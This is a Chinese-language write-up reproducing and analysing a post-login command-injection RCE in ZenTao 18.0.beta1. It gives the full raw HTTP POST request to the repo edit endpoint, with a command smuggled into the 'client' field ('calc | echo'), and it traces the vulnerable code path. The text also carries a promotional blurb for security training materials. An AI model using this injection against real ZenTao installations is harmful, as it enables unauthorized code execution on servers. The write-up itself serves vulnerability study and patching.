禅道后台存在 RCE 漏洞,均存在于历史版本,对这些漏洞进行复现分析。
环境搭建源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建

漏洞复现登录后台创建 GitLab 类型的代码库

点击 DevOps 模块的设置选项,修改创建的代码库
点击保存并抓取数据包
修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo "
触发了命令执行,执行了两次
【----帮助网安学习,需要网安学习资料关注我,私信回复“资料”免费获取----】① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
漏洞分析发现有一些分析文章中描述需要先创建一个代码仓库,也指出了创建代码仓库的原因,因为调用的是 edit 方法,所以要先 create
经过调试发现这是必须的,因为在没创建代码库时,执行 edit 方法,会提示跳转去创建代码库
module/repo/control.php#commonAction
所以需要先创建代码库
module/repo/control.php#create
module/repo/model.php#create
在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作,直接创建成功
module/repo/model.php#checkClient
创建成功后执行编辑操作触发漏洞
POST /index.php?m=repo&f=edit&repoID=0 HTTP/1.1Host: test.testContent-Length: 36Accept: application/json, text/javascript, /; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://test.testReferer: http://test.test/index.php?m=repo&f=edit&repoID=1&objectID=0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; windowWidth=1440; windowHeight=722; tab=devops; repoBranch=master;XDEBUG_SESSION=PHPSTORMConnection: closeSCM=Subversion&client= calc | echo "
module/repo/control.php#edit
module/repo/model.php#update
module/repo/model.php#checkConnection
修复建议更新至最新版本